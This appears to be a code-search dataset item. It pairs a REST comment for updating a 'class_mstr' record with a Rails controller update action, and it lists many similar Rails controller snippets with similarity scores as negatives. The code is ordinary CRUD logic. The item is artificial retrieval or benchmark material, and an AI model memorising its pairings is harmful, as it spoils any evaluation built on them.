"def create\n @class_mapping = ClassMapping.new(class_mapping_params)\n\n respond_to do |format|\n if @class_mapping.save\n format.html { redirect_to @class_mapping, notice: 'Class mapping was successfully created.' }\n format.json { render :show, status: :created, location: @class_mapping }\n else\n format.html { render :new }\n format.json { render json: @class_mapping.errors, status: :unprocessable_entity }\n end\n end\n end",
"def write_m molds, name\n\t\tsource = ''\n\n\t\tsource << \"#import \\\"MBConnectionManager.h\\\"\\n\"\n\n\t\t@molds.each { |m| source << \"#import \\\"#{m.name}.h\\\"\\n\" }\n\n\t\tsource << \"\\n@implementation MBConnectionManager\\n\\n#pragma mark Initialization\\n\"\n\t\tsource << \"+ (MBConnectionManager *) manager {\\n\"\n \tsource << \"\\tstatic MBConnectionManager *conMan = nil;\\n\"\n \tsource << \"\\tif (conMan != nil) return conMan;\\n\\n\"\n \tsource << \"\\tstatic dispatch_once_t safer;\\n\\n\"\n \tsource << \"\\tdispatch_once(&safer, ^(void) {\\n\"\n source << \"\\t\\tconMan = [[#{name} alloc] init]; \\n\\t});\\n\\n\"\n \tsource << \"\\treturn conMan\\n\\n}\\n\\n\";\n \tsource << \"#pragma mark Requests\\n\"\n \t#create a method for each API call\n \t\n \t@molds.each do |mold|\n \t\t#ignore objects that do not have API urls\n \t\tunless mold.url == nil\n \t\t\tsource << method(mold.name) << \" {\\n\"\n\t\t\t source << \"\\t[self apiRequestWithMapping:[#{mold.name} mapping] success:success fail:failure]; \\n\"\n\t\t\t source << \"}\\n\\n\"\n \t\tend\n \tend\n\n\t\tsource << \"@end\\n\"\n\tend",
"def create\n @character_class = CharacterClass.new(character_class_params)\n\n respond_to do |format|\n if @character_class.save\n format.html { redirect_to @character_class, notice: 'Character class was successfully created.' }\n format.json { render :show, status: :created, location: @character_class }\n else\n format.html { render :new }\n format.json { render json: @character_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @character_class = CharacterClass.new(character_class_params)\n\n respond_to do |format|\n if @character_class.save\n format.html { redirect_to @character_class, notice: 'Character class was successfully created.' }\n format.json { render :show, status: :created, location: @character_class }\n else\n format.html { render :new }\n format.json { render json: @character_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classes = SchoolClass.all\n @class = SchoolClass.new(class_params)\n add_breadcrumb \"School Classes\", classes_url\n add_breadcrumb \"New Class\"\n # respond_to do |format|\n if @class.save\n respond_to do |format|\n format.html { redirect_to classes_url }\n flash[:notice] = \"Class was successfully created.\"\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # format.html { redirect_to classes_url, notice: 'School Class was successfully created.' }\n # format.json { render :show, status: :created, location: @class }\n else\n respond_to do |format|\n format.html { render :new }\n flash[:alert] = @class.errors.full_messages.to_sentence\n # format.json { render json: @class.errors, status: :unprocessable_entity }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # end\n end\n end",
"def create\n @tm = Tm.new(tm_params)\n\n respond_to do |format|\n if @tm.save\n format.html { redirect_to @tm, notice: 'Tm was successfully created.' }\n format.json { render :show, status: :created, location: @tm }\n else\n format.html { render :new }\n format.json { render json: @tm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cm = Cm.new(params[:cm])\n\n respond_to do |format|\n if @cm.save\n format.html { redirect_to @cm, notice: 'Cm was successfully created.' }\n format.json { render json: @cm, status: :created, location: @cm }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @meme = Meme.new(meme_params)\n respond_to do |format|\n if @meme.save\n items = @meme.keywords_string.split(\" \")\n items.each do |item| \n attrs = { :key => item }\n @keyword = Keyword.new(attrs)\n if @keyword.save\n Mapping.create(:meme_id => @meme.id, :keyword_id => @keyword.id)\n end\n end\n format.html { redirect_to @meme, notice: 'Meme was successfully created. Keywords were successfully added' }\n format.json { render :show, status: :created, location: @meme }\n else\n format.html { render :new }\n format.json { render json: @meme.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @moresmallmobsquad = Moresmallmobsquad.new(params[:moresmallmobsquad])\n\n respond_to do |format|\n if @moresmallmobsquad.save\n format.html { redirect_to @moresmallmobsquad, notice: 'Moresmallmobsquad was successfully created.' }\n format.json { render json: @moresmallmobsquad, status: :created, location: @moresmallmobsquad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @moresmallmobsquad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @code_class = CodeClass.new(code_class_params)\n\n respond_to do |format|\n if @code_class.save\n format.html { redirect_to @code_class, notice: 'Code class was successfully created.' }\n format.json { render :show, status: :created, location: @code_class }\n else\n format.html { render :new }\n format.json { render json: @code_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @musictrack = Musictrack.new(musictrack_params)\n\n respond_to do |format|\n if @musictrack.save\n format.html { redirect_to @musictrack, notice: 'Musictrack was successfully created.' }\n format.json { render :show, status: :created, location: @musictrack }\n else\n format.html { render :new }\n format.json { render json: @musictrack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #museum_for_creating = params[:museum]\n #museum_for_creating[about_hr] = museum_for_creating[long_name_hr]+\"\\n\"+museum_for_creating[about_hr]\n #museum_for_creating[about_en] = museum_for_creating[long_name_en]+\"\\n\"+museum_for_creating[about_en]\n #museum_for_creating[about_de] = museum_for_creating[long_name_de]+\"\\n\"+museum_for_creating[about_de]\n @museum = Museum.new(params[:museum])\n #@museum = Museum.new(museum_for_creating)\n\n respond_to do |format|\n if @museum.save\n format.html { redirect_to @museum, notice: 'Museum was successfully created.' }\n format.json { render json: @museum, status: :created, location: @museum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @museum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @class_taken = ClassTaken.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_taken }\n end\n end",
"def classs_params\n params.require(:classs).permit(:name, :major_id)\n end",
"def create\n @schoolclass = Schoolclass.new(params[:schoolclass])\n\n respond_to do |format|\n if @schoolclass.save\n format.html { redirect_to @schoolclass, notice: 'Schoolclass was successfully created.' }\n format.json { render json: @schoolclass, status: :created, location: @schoolclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schoolclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @method_sdm = MethodSdm.new(method_sdm_params)\n\n respond_to do |format|\n if @method_sdm.save\n format.html { redirect_to @method_sdm, notice: 'Method sdm was successfully created.' }\n format.json { render :show, status: :created, location: @method_sdm }\n else\n format.html { render :new }\n format.json { render json: @method_sdm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n Rails.logger.debug \"[ClassificationsController.create] params.class: #{params.class}, params: #{params}\"\n @classifaction = Classification.new transaction_data: params\n @classifaction.classifiers << StatusCodeClassifier.classify( @classifaction.transaction_data )\n @classifaction.classify\n\n if @classifaction.save\n render json: @classifaction.as_jsonapi, status: :created\n else\n render json: { error: 'oops' }, status: 500\n end\n end",
"def create\n @classroom = Classroom.new(classroom_params)\n respond_to do |format|\n if @classroom.save\n format.html { redirect_to classrooms_url, notice: t('.notice', name: @classroom.name) }\n format.json { render :show, status: :created, location: @classroom }\n else\n format.html { render :new }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mistake = Mistake.new(params[:mistake])\n\n respond_to do |format|\n if @mistake.save\n format.html { redirect_to @mistake, notice: 'Mistake was successfully created.' }\n format.json { render json: @mistake, status: :created, location: @mistake }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mistake.errors, status: :unprocessable_entity }\n end\n end\n end",
"def gg_classlist_params\n params.require(:gg_classlist).permit(:classname)\n end",
"def create\n @teacher_class = TeacherClass.new(teacher_class_params)\n\n respond_to do |format|\n if @teacher_class.save\n format.html { redirect_to @teacher_class, notice: 'Teacher class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @teacher_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @teacher_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @counter = 0\n @teamstat = Teamstat.new(teamstat_params)\n\n @teamstat.toon_db = @teamstat.input.strip.split(/[\\r\\n ,]+/)\n @teamstat.toon_db.pop if @teamstat.toon_db[-1]==\"\\r\\n\"\n \n @teamstat.toon_db.each { |toonrealm| add_toon(toonrealm)}\n\n respond_to do |format|\n if @teamstat.save\n format.html { redirect_to @teamstat, notice: 'Teamstat was successfully created.' }\n format.json { render action: 'show', status: :created, location: @teamstat }\n else\n format.html { render action: 'new' }\n format.json { render json: @teamstat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def smssend\n http = get_http_connection() \n post_args = { 'number' => params[:number], 'text' => params[:text],'replyto' => params[:replyto], 'name' => @pysmsd_config.app_name, 'password' => @pysmsd_config.app_password }\n \n request = Net::HTTP::Post.new('/messages/out.json')\n request.set_form_data(post_args)\n resp = http.request(request)\n json = JSON.parse(resp.body)\n render_json :entry => json\n end",
"def create\n @m6 = M6.new(m6_params)\n\n respond_to do |format|\n if @m6.save\n format.html { redirect_to @m6, notice: 'M6 was successfully created.' }\n format.json { render :show, status: :created, location: @m6 }\n else\n format.html { render :new }\n format.json { render json: @m6.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mens_team = MensTeam.new(mens_team_params)\n\n respond_to do |format|\n if @mens_team.save\n format.html { redirect_to @mens_team, notice: 'Mens team was successfully created.' }\n format.json { render :show, status: :created, location: @mens_team }\n else\n format.html { render :new }\n format.json { render json: @mens_team.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_room = ClassRoom.new(params[:class_room])\n respond_to do |format|\n if @class_room.save\n format.html { redirect_to @class_room, notice: 'Academic class was successfully created.' }\n format.json { render json: @class_room, status: :created, location: @class_room }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_class = ItemClass.new(params[:item_class])\n\n respond_to do |format|\n if @item_class.save\n format.html { redirect_to @item_class, notice: 'Item class was successfully created.' }\n format.json { render json: @item_class, status: :created, location: @item_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def smsmark\n http = get_http_connection() \n post_args = { 'ids' => params[:ids], 'name' => @pysmsd_config.app_name, 'password' => @pysmsd_config.app_password }\n request = Net::HTTP::Post.new('/messages/in.json')\n request.set_form_data(post_args)\n resp = http.request(request)\n json = JSON.parse(resp.body)\n render_json :entry => json\n end",
"def strclass=(val) @records.set(GRT_STRCLASS, val); end",
"def create\n @subjectm = Subjectm.new(subjectm_params)\n\n respond_to do |format|\n if @subjectm.save\n format.html { redirect_to @subjectm, notice: 'Subjectm was successfully created.' }\n format.json { render :show, status: :created, location: @subjectm }\n else\n format.html { render :new }\n format.json { render json: @subjectm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_class_params\n params.require(:word_class).permit(:name)\n end",
"def create\n @mnemonic = Mnemonic.new(mnemonic_params)\n\n respond_to do |format|\n if @mnemonic.save\n format.html { redirect_to @mnemonic, notice: 'Mnemonic was successfully created.' }\n format.json { render :show, status: :created, location: @mnemonic }\n else\n format.html { render :new }\n format.json { render json: @mnemonic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @smsno = Smsno.new(smsno_params)\n\n respond_to do |format|\n if @smsno.save\n format.html { redirect_to @smsno, notice: 'Smsno was successfully created.' }\n format.json { render :show, status: :created, location: @smsno }\n else\n format.html { render :new }\n format.json { render json: @smsno.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @start_male20000mt = StartMale20000mt.new(start_male20000mt_params)\n\n respond_to do |format|\n if @start_male20000mt.save\n format.html { redirect_to action:index, notice: 'Start male20000mt was successfully created.' }\n format.json { render :show, status: :created, location: @start_male20000mt }\n else\n format.html { render :new }\n format.json { render json: @start_male20000mt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_page = ClassPage.new(class_page_params)\n\n respond_to do |format|\n if @class_page.save\n format.html { redirect_to @class_page, notice: 'Class page was successfully created.' }\n format.json { render :show, status: :created, location: @class_page }\n else\n format.html { render :new }\n format.json { render json: @class_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_topic = ClassTopic.new(class_topic_params)\n\n respond_to do |format|\n if @class_topic.save\n format.html { redirect_to @class_topic, notice: 'Class topic was successfully created.' }\n format.json { render :show, status: :created, location: @class_topic }\n else\n format.html { render :new }\n format.json { render json: @class_topic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def character_class_params\n params.require(:character_class).permit(:name, :description, :gm_notes)\n end",
"def create\n @data_class = DataClass.new(data_class_params)\n\n respond_to do |format|\n if @data_class.save\n format.html { redirect_to @data_class, notice: 'Data class was successfully created.' }\n format.json { render :show, status: :created, location: @data_class }\n else\n format.html { render :new }\n format.json { render json: @data_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mattch = Mattch.new(mattch_params)\n\n respond_to do |format|\n if @mattch.save\n format.html { redirect_to @mattch, notice: 'Mattch was successfully created.' }\n format.json { render :show, status: :created, location: @mattch }\n else\n format.html { render :new }\n format.json { render json: @mattch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @random_string = RandomString.new(permitted_params)\n @random_string.save!\n \n respond_to do |format|\n format.json { render :json => @random_string }\n format.html { redirect_to random_string_path(@random_string.id) }\n end\n end",
"def create\n @gg_classlist = GgClasslist.new(gg_classlist_params)\n\n respond_to do |format|\n if @gg_classlist.save\n format.html { redirect_to @gg_classlist, notice: 'Gg classlist was successfully created.' }\n format.json { render action: 'show', status: :created, location: @gg_classlist }\n else\n format.html { render action: 'new' }\n format.json { render json: @gg_classlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ms_word = MsWord.new(ms_word_params)\n\n respond_to do |format|\n if @ms_word.save\n format.html { redirect_to @ms_word, notice: 'Ms word was successfully created.' }\n format.json { render :show, status: :created, location: @ms_word }\n else\n format.html { render :new }\n format.json { render json: @ms_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @txt5 = Txt5.new(params[:txt5])\n\n respond_to do |format|\n if @txt5.save\n format.html { redirect_to @txt5, notice: 'Txt5 was successfully created.' }\n format.json { render json: @txt5, status: :created, location: @txt5 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @txt5.errors, status: :unprocessable_entity }\n end\n end\n end",
"def wordclass_params\n params.require(:wordclass).permit(:name)\n end",
"def create\n @mobile_text = MobileText.new(mobile_text_params)\n\n respond_to do |format|\n if @mobile_text.save\n format.html { redirect_to @mobile_text, notice: 'Mobile text was successfully created.' }\n format.json { render :show, status: :created, location: @mobile_text }\n else\n format.html { render :new }\n format.json { render json: @mobile_text.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mrv = Mrv.new(mrv_params)\n\n respond_to do |format|\n if @mrv.save\n format.html { redirect_to @mrv, notice: 'Mrv was successfully created.' }\n format.json { render :show, status: :created, location: @mrv }\n else\n format.html { render :new }\n format.json { render json: @mrv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def mscore_classification_params\n params.require(:mscore_classification).permit(:name)\n end",
"def create\n @microposst = Microposst.new(params[:microposst])\n\n respond_to do |format|\n if @microposst.save\n format.html { redirect_to @microposst, notice: 'Microposst was successfully created.' }\n format.json { render json: @microposst, status: :created, location: @microposst }\n else\n format.html { render action: \"new\" }\n format.json { render json: @microposst.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @m1 = M1.new(m1_params)\n\n respond_to do |format|\n if @m1.save\n format.html { redirect_to @m1, notice: 'M1 was successfully created.' }\n format.json { render :show, status: :created, location: @m1 }\n else\n format.html { render :new }\n format.json { render json: @m1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trainclass = Trainclass.new(trainclass_params)\n\n respond_to do |format|\n if @trainclass.save\n format.html { redirect_to @trainclass, notice: 'Trainclass was successfully created.' }\n format.json { render :show, status: :created, location: @trainclass }\n else\n format.html { render :new }\n format.json { render json: @trainclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @districtclass = Districtclass.new(params[:districtclass])\n\n respond_to do |format|\n if @districtclass.save\n format.html { redirect_to @districtclass, notice: 'Districtclass was successfully created.' }\n format.json { render json: @districtclass, status: :created, location: @districtclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @districtclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end",
"def create\n @crew_mun = Crew::Mun.new(crew_mun_params)\n\n respond_to do |format|\n if @crew_mun.save\n format.html { redirect_to @crew_mun, notice: 'Mun was successfully created.' }\n format.json { render :show, status: :created, location: @crew_mun }\n else\n format.html { render :new }\n format.json { render json: @crew_mun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @step_m = StepM.new(step_m_params)\n\n respond_to do |format|\n if @step_m.save\n format.html { redirect_to @step_m, notice: 'Step m was successfully created.' }\n format.json { render :show, status: :created, location: @step_m }\n else\n format.html { render :new }\n format.json { render json: @step_m.errors, status: :unprocessable_entity }\n end\n end\n end",
"def strclass_record() @records.get(GRT_STRCLASS); end",
"def create\n @mriscantask = Mriscantask.new(mriscantask_params)# params[:mriscantask])\n\n respond_to do |format|\n if @mriscantask.save\n format.html { redirect_to(@mriscantask, :notice => 'Mriscantask was successfully created.') }\n format.xml { render :xml => @mriscantask, :status => :created, :location => @mriscantask }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mriscantask.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @classroom = Classroom.new(params[:classroom])\n\n respond_to do |format|\n if @classroom.save\n format.html { redirect_to @classroom, notice: 'Classroom was successfully created.' }\n format.json { render json: @classroom, status: :created, location: @classroom }\n else\n format.html { render action: \"new\" }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @swm = Swm.new(swm_params)\n\n respond_to do |format|\n if @swm.save\n format.html { redirect_to @swm, notice: 'Swm was successfully created.' }\n format.json { render :show, status: :created, location: @swm }\n else\n format.html { render :new }\n format.json { render json: @swm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classication = Classication.new(classication_params)\n\n respond_to do |format|\n if @classication.save\n format.html { redirect_to @classication, notice: 'Classication was successfully created.' }\n format.json { render :show, status: :created, location: @classication }\n else\n format.html { render :new }\n format.json { render json: @classication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_class = UserClass.new(params[:user_class])\n\n respond_to do |format|\n if @user_class.save\n format.html { redirect_to @user_class, notice: 'User class was successfully created.' }\n format.json { render json: @user_class, status: :created, location: @user_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mattress = Mattress.new(params[:mattress])\n\n respond_to do |format|\n if @mattress.save\n format.html { redirect_to [:admin, @mattress], notice: 'Mattress was successfully created.' }\n format.json { render json: @mattress, status: :created, location: @mattress }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mattress.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_room = ClassRoom.new(class_room_params)\n\n respond_to do |format|\n if @class_room.save\n format.html { redirect_to @class_room, notice: 'Class room was successfully created.' }\n format.json { render :show, status: :created, location: @class_room }\n else\n format.html { render :new }\n format.json { render json: @class_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_student = ClassStudent.new(class_student_params)\n\n respond_to do |format|\n if @class_student.save\n format.html { redirect_to @class_student, notice: 'Class student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @class_student }\n else\n format.html { render action: 'new' }\n format.json { render json: @class_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @start_male800mt = StartMale800mt.new(start_male800mt_params)\n\n respond_to do |format|\n if @start_male800mt.save\n format.html { redirect_to action:index, notice: 'Start male800mt was successfully created.' }\n format.json { render :show, status: :created, location: @start_male800mt }\n else\n format.html { render :new }\n format.json { render json: @start_male800mt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project_step_m = ProjectStepM.new(project_step_m_params)\n\n respond_to do |format|\n if @project_step_m.save\n format.html { redirect_to @project_step_m, notice: 'Project step m was successfully created.' }\n format.json { render :show, status: :created, location: @project_step_m }\n else\n format.html { render :new }\n format.json { render json: @project_step_m.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.65978897",
"0.5741829",
"0.5736589",
"0.56870127",
"0.55405754",
"0.54426616",
"0.53879553",
"0.53110605",
"0.52808344",
"0.5262188",
"0.5228495",
"0.52097076",
"0.5171778",
"0.5115983",
"0.50619906",
"0.5047747",
"0.50452596",
"0.50334734",
"0.50328296",
"0.5022774",
"0.50182635",
"0.50112396",
"0.49954945",
"0.49952233",
"0.49859253",
"0.49854127",
"0.49765944",
"0.49650767",
"0.49625036",
"0.4932571",
"0.49273184",
"0.4922643",
"0.4913935",
"0.49085677",
"0.48987162",
"0.48830634",
"0.4874944",
"0.48677513",
"0.48677513",
"0.48494744",
"0.4835938",
"0.48320538",
"0.4827585",
"0.4825882",
"0.48107988",
"0.48104396",
"0.4807346",
"0.48053667",
"0.48021695",
"0.47896406",
"0.47895598",
"0.47837088",
"0.47836325",
"0.478266",
"0.47782815",
"0.47639415",
"0.476355",
"0.47561678",
"0.47534162",
"0.47523293",
"0.4746962",
"0.4743706",
"0.47431508",
"0.47355646",
"0.4732222",
"0.47296244",
"0.4727303",
"0.47262305",
"0.47210968",
"0.47083792",
"0.47069293",
"0.47062933",
"0.47020927",
"0.46996653",
"0.46977463",
"0.4697202",
"0.46967727",
"0.4695919",
"0.46936095",
"0.469239",
"0.4690771",
"0.46776813",
"0.46762666",
"0.4671945",
"0.4670115",
"0.4665967",
"0.4663429",
"0.46623272",
"0.46593207",
"0.46535096",
"0.4648419",
"0.4643861",
"0.46420655",
"0.46400395",
"0.4639545",
"0.46337587",
"0.46221533",
"0.46219",
"0.4612184",
"0.46094644"
] |
0.74123466
|
0
|
PUT /class_mstrs/1 PUT /class_mstrs/1.json
|
def update
@class_mstr = ClassMstr.find(params[:id])
respond_to do |format|
if @class_mstr.update_attributes(params[:class_mstr])
format.html { redirect_to @class_mstr, notice: 'Class mstr was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @class_mstr.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @class_mstr = ClassMstr.new(params[:class_mstr])\n\n respond_to do |format|\n if @class_mstr.save\n format.html { redirect_to @class_mstr, notice: 'Class mstr was successfully created.' }\n format.json { render json: @class_mstr, status: :created, location: @class_mstr }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class_mstr.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classs.update(classs_params)\n format.html { redirect_to @classs, notice: 'Classs was successfully updated.' }\n format.json { render :show, status: :ok, location: @classs }\n else\n format.html { render :edit }\n format.json { render json: @classs.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @class_mstr = ClassMstr.find(params[:id])\n @class_mstr.destroy\n\n respond_to do |format|\n format.html { redirect_to class_mstrs_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @s_class.update(s_class_params)\n format.html { redirect_to @s_class, notice: 'S class was successfully updated.' }\n format.json { render :show, status: :ok, location: @s_class }\n else\n format.html { render :edit }\n format.json { render json: @s_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classname.update(classname_params)\n format.html { redirect_to @classname, notice: 'Classname was successfully updated.' }\n format.json { render :show, status: :ok, location: @classname }\n else\n format.html { render :edit }\n format.json { render json: @classname.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @class_mstr = ClassMstr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_mstr }\n end\n end",
"def update\n @clclass = Clclass.find(params[:id])\n\n respond_to do |format|\n if @clclass.update_attributes(params[:clclass])\n format.html { redirect_to @clclass, notice: 'Clclass was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @climb_class.update(climb_class_params)\n format.html { redirect_to @climb_class, notice: 'Climb class was successfully updated.' }\n format.json { render :show, status: :ok, location: @climb_class }\n else\n format.html { render :edit }\n format.json { render json: @climb_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @classroom = classroom.find(params[:id])\n\n if @classroom.update_attributes(params[:classroom])\n head :no_content\n else\n render json: @classroom.errors, status: :unprocessable_entity\n end\n end",
"def update\n add_breadcrumb \"Classes\", classes_url\n add_breadcrumb \"Edit\"\n respond_to do |format|\n if @class.update(class_params)\n format.html { redirect_to classes_url, notice: 'Class was successfully updated.' }\n format.json { render :show, status: :ok, location: @class }\n else\n format.html { render :edit }\n flash[:alert] = @class.errors.full_messages.to_sentence\n format.json { render json: @class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sob_class.update(sob_class_params)\n format.html { redirect_to @sob_class, notice: 'Sob class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sob_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @myclass = Myclass.find(params[:id])\n\n respond_to do |format|\n if @myclass.update_attributes(params[:myclass])\n format.html { redirect_to @myclass, notice: 'Myclass was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @myclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @class_mstr = ClassMstr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class_mstr }\n end\n end",
"def update\n @scam.result = SCAM_CHECKER.classify scam_params.values.join(' ')\n\n respond_to do |format|\n if @scam.update(scam_params)\n format.html { redirect_to @scam, notice: 'Scam was successfully updated.' }\n format.json { render :show, status: :ok, location: @scam }\n else\n format.html { render :edit }\n format.json { render json: @scam.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clazz = Clazz.find(params[:id])\n\n respond_to do |format|\n if @clazz.update_attributes(params[:clazz])\n format.html { redirect_to @clazz, notice: 'Clazz was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clazz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @class_taken = ClassTaken.find(params[:id])\n\n respond_to do |format|\n if @class_taken.update_attributes(params[:class_taken])\n format.html { redirect_to @class_taken, notice: 'Class taken was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @class_taken.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_class = TestClass.find(params[:id])\n\n respond_to do |format|\n if @test_class.update_attributes(params[:test_class])\n format.html { redirect_to @test_class, notice: 'Test class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service_class.update(service_class_params)\n format.html { redirect_to @service_class, notice: 'Service class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @service_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @song_class.update(song_class_params)\n format.html { redirect_to @song_class, notice: 'Song class was successfully updated.' }\n format.json { render :show, status: :ok, location: @song_class }\n else\n format.html { render :edit }\n format.json { render json: @song_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @class = Classe.find(params[:id])\n\n respond_to do |format|\n if @class.update_attributes(params[:class])\n format.html { redirect_to @class, notice: 'Classe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mcluster.update(mcluster_params)\n format.html { redirect_to @mcluster, notice: 'Mcluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @mcluster }\n else\n format.html { render :edit }\n format.json { render json: @mcluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject_class.update(subject_class_params)\n format.html { redirect_to @subject_class, notice: 'Subject class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @subject_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_class.update(student_class_params)\n format.html { redirect_to @student_class, notice: \"Student class was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student_class }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @classtable = Classtable.find(params[:id])\n\n respond_to do |format|\n if @classtable.update_attributes(params[:classtable])\n format.html { redirect_to @classtable, notice: 'Classtable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @classtable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @classroom.update(classroom_params)\n format.html { redirect_to classrooms_url, notice: t('.notice', name: @classroom.name) }\n format.json { render :show, status: :ok, location: @classroom }\n else\n format.html { render :edit }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wordclass.update(wordclass_params)\n format.html { redirect_to @wordclass, notice: 'Wordclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @wordclass }\n else\n format.html { render :edit }\n format.json { render json: @wordclass.errors, status: :unprocessable_entity }\n end\n end\n end",
